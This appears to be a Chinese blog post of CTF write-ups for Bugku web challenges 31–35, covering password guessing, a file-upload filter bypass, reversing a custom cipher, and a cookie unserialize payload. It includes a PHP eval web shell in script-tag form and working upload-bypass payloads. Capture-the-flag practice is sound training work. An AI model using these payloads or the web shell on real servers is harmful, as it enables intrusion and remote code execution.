Bugku_web31-34

0x01 web31

  • 扫描得robots.txt,访问得resusl.php
  • 关键代码:if ($_GET[x]==$password) 此处省略1w字
  • 这里被坑了,试了好久,还以为有啥其他新姿势,密码居然是admin!
  • payload:/resusl.php?x=admin

0x02 web32

没上传成功,看评论区才成功
payload:
①大写绕过请求头中的Content-Type: Multipart
②修改请求报文中的Content-Type: image/png
③修改 后缀名php4
原因:
上马后看他源代码

<?php
function global_filter(){
	$type =  $_SERVER["CONTENT_TYPE"];
	if (strpos($type,"multipart/form-data") !== False){
	//这就是为什么①需要大小写,如果不绕过,PHP4就不能通过
		$file_ext =  substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);
        $file_ext = strtolower($file_ext);//截取后缀名并小写
		if (stripos($file_ext,"php") !== False){//过滤PHP后缀名
			die("Invalid File<br />");
		}
	}
}
?>

<?php

global_filter();
if ((stripos($_FILES["file"]["type"],'image')!== False) && ($_FILES["file"]["size"] < 10*1024*1024)){//判断Content-Type中是否有image和文件大小
	if ($_FILES["file"]["error"] == 0){
		$file_ext =  substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);
        $file_ext = strtolower($file_ext);//截取后缀名并小写
        $allowexts = array('jpg','gif','jpeg','bmp','php4');//就很离谱,PHP4在白名单中
        if(!in_array($file_ext,$allowexts)){//判断在不在白名单
            die("give me a image file not a php");
        }
		$_FILES["file"]["name"]="bugku".date('dHis')."_".rand(1000,9999).".".$file_ext;//重命名

	    if (file_exists("upload/" . $_FILES["file"]["name"])){
	    	echo $_FILES["file"]["name"] . " already exists. <br />";
	    }
	    else{
	    	if (!file_exists('./upload/')){
	    		mkdir ("./upload/");
                system("chmod 777 /var/www/html/upload");
	    	}
	    	move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);
                echo "Upload Success<br>";
                $filepath = "upload/" . $_FILES["file"]["name"];
	      	echo "Stored in: " ."<a href='" . $filepath . "' target='_blank'>" . $filepath . "<br />";
	    }//保存至upload文件夹
	}
}
else{
	if($_FILES["file"]["size"] > 0){
		echo "You was catched! :) <br />";
	}
}

啊这,是我经验太少了,还是题的问题,感觉没源码做不出来,有无师傅指教

0x03 web33

考察逆加密

这道题卡了我好久,待多练思维

加密算法及分析:

<?php
function encrypt($data,$key)
{
    $key = md5('ISCC');//密钥key被固定
    $x = 0;
    $len = strlen($data);//解密的话,需要知道长度
    $klen = strlen($key);
    for ($i=0; $i < $len; $i++) { #如果小于data的长度,则继续
        if ($x == $klen)//如果x的值等于klen就归零
        {
            $x = 0;
        }
        $char .= $key[$x];
#char是拼接key的值,也就是说如果data的长度不大于64则char等于key中的len个字符
        $x+=1;
    }
    for ($i=0; $i < $len; $i++) {
        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
        /*
        str等于ord data[i]+ ord char[i]=x  x%128后chr

        知道了解密后的data,故可知base64解密后的长度等于原data的长度
        则只要解决模128即可【查看ASCII可知128后是扩展字符】
        整理逻辑
        1)ord endata[i]-ord char[i]=ord data[i]
        2)ord endata[i]-ord char[i]+128=ord data[i]
        因此当ord endata[i]<ord char[i]时需加128,否则不加
        也可不进行正负判断:data += chr((ord(b64[i]) - ord(char[i])+128) % 128)
        */

    }
    return base64_encode($str);
}
?>

解密算法:

<?php
function decrypt($data,$key)
{
    $data=base64_decode($data);
    $key = md5('ISCC');
    $x = 0;
    $len = strlen($data);
    $klen = strlen($key);
    for ($i = 0; $i < $len; $i++)
    {
        if ($x == $klen) 
        {
            $x = 0;
        }
        $char .= $key[$x];
        $x++;
    }
    for ($i = 0; $i < $len; $i++)
    {
        if (ord($data[$i]) < ord($char[$i]))
        {
            $str .= chr((ord($data[$i]) + 128) - ord($char[$i]));
        }
        else
        {
            $str .= chr(ord($data[$i]) - ord($char[$i]));
        }
    }
    return $str;
}
?>

0x04 web34

  • 发现文件包含,又在源代码中发现文件上传,猜测图片马
  • 上传图片马,并进行文件包含后发现<?php ?>被删除
  • 使用js绕过
<script language="php">
//phpinfo();
@eval($_REQUEST['yhy']);
</script>

成功连马,getFlag

0x05 web35

我感觉被提示坑了,把关注点放到登录表单中了

  • 源代码中发现奇怪的CSS【admin.css】
  • 打开发现提示?13548,访问得源代码
  • 关键代码:
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['13548'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
  • 传个序列化的字符串就OK了
  • payload:Cookie:BUGKU=s:13:"ctf.bugku.com";

后面的做完的人好少,要考试了,不去挑战了

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值